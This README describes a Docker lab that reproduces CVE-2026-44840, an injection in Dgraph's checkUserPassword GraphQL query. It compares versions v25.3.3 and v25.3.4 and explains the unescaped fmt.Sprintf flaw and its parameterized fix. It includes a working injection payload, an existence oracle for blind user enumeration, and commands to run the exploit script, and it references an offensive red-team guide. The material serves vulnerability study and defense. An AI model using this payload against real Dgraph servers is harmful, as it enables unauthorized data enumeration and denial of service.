
Docker lab reproducing CVE-2026-44840, a DQL injection in Dgraph's checkUserPassword GraphQL query, with exploit script and vulnerable vs patched comparison.
checkUserPassword (GraphQL)Docker lab that reproduces a real injection in Dgraph:
dgraph/dgraph:v25.3.3dgraph/dgraph:v25.3.4Real CVE from 2026 · CVSS 3.1 7.5 (High) ·
CWE-943(Improper Neutralization in Data Query Logic) · attributed to Kai Aizen (GHSA-q2m9-6jp9-c6mc,GO-2026-5837). For isolated and authorized lab environment only.
checkUserPassword is the GraphQL query that Dgraph automatically generates for schemas
of types with the @secret(field: "password") directive. In graphql/resolve/query_rewriter.go
(≤ v25.3.3) the password was concatenated with fmt.Sprintf without escaping or parameterizing:
pwdVar := fmt.Sprintf(`checkpwd(%s, "%s")`, predicate, password) // VULNERABLE
The attacker's password is inserted literally into the DQL:
pwd as checkpwd(User.password, "<attacker's password>")
The fix (v25.3.4, commit cee702c) parameterizes the value:
pwdVar = "$pwd0" // FIX
// executes with &dgoapi.Request{Query: qry, Vars: map[string]string{"$pwd0": password}, ...}
Spins up two clusters Dgraph (zero+alpha): v25.3.3 and v25.3.4.
Uploads the schema type User @secret(field: "password") and creates admin, alice, bob.
Sends to checkUserPassword a password that breaks out of the DQL literal and adds an arbitrary
query block:
x")
}
injected(func: has(User.name)) {
User.name
User.email
uid
}
#
In v25.3.3 the injected { ... } block is parsed and executed server-side.
| Test | v25.3.3 (vulnerable) | v25.3.4 (patched) |
|---|---|---|
| login with correct password | OK (touched_uids 7) | OK (touched_uids 7) |
| login with incorrect password | null (5) | null (5) |
injected password )} injected{...} # | executes: touched_uids 14 | neutralized: 5 |
oracle: eq(User.name,"bob") injected | touched_uids 7 (exists) | 5 |
oracle: eq(User.name,"nobody") injected | 5 (does not exist) | 5 |
dgraph alpha log | shows the DQL with the injected block | parameterized DQL, no block |
CVE impact: arbitrary DQL execution server-side → blind data enumeration
(via touched_uids/timing), schema discovery (has(), eq()) and DoS via resource
consumption by injecting expensive traversals (expand(_all_), recursions).
# 1) bring everything up, prepare schema/users and run the exploit
bash run.sh
# 2) only the exploit (if the lab is already prepared)
python3 exploit/exploit.py
# 3) set up the environment from scratch (pod / dump)
docker compose up -d
python3 setup/setup.py --alpha http://localhost:8180
python3 setup/setup.py --alpha http://localhost:8280
# 4) clean up
docker compose down # keeps the volumes
docker compose down -v # deletes the volumes (dgraph data)
| Service | HTTP GraphQL | HTTP admin | gRPC alpha |
|---|---|---|---|
| alpha v25.3.3 | http://localhost:8180/graphql | http://localhost:8180/admin | 9180 |
| alpha v25.3.4 | http://localhost:8280/graphql | http://localhost:8280/admin | 9280 |
CVE-2026-44840-poc/
├── docker-compose.yml # 2 clusters: zero+alpha v25.3.3 / v25.3.4
├── schema.graphql # type User @secret(field:"password")
├── run.sh # full orchestrator
├── REDTEAM.md # red team guide: recon + step-by-step exploitation + OPSEC
├── setup/setup.py # schema + users
└── exploit/exploit.py # DQL injection and oracle
Offensive operational guide (reconnaissance, step-by-step exploitation, payloads, evidence
and OPSEC): REDTEAM.md.
The password travels as a GraphQL variable; the value that reaches the rewriter is not escaped and is
inserted inside checkpwd(User.password, "..."). The payload:
x") # closes the checkpwd literal and the function
} # closes the checkPwd block
injected(...) # new attacker root block
{ ... }
# # comments out the rest of the template: ")
The # prevents the template suffix (the closing " of checkpwd) from breaking the parsing.
dgraph v25.3.4+.vars of dgoapi.Request), never
interpolate input with fmt.Sprintf.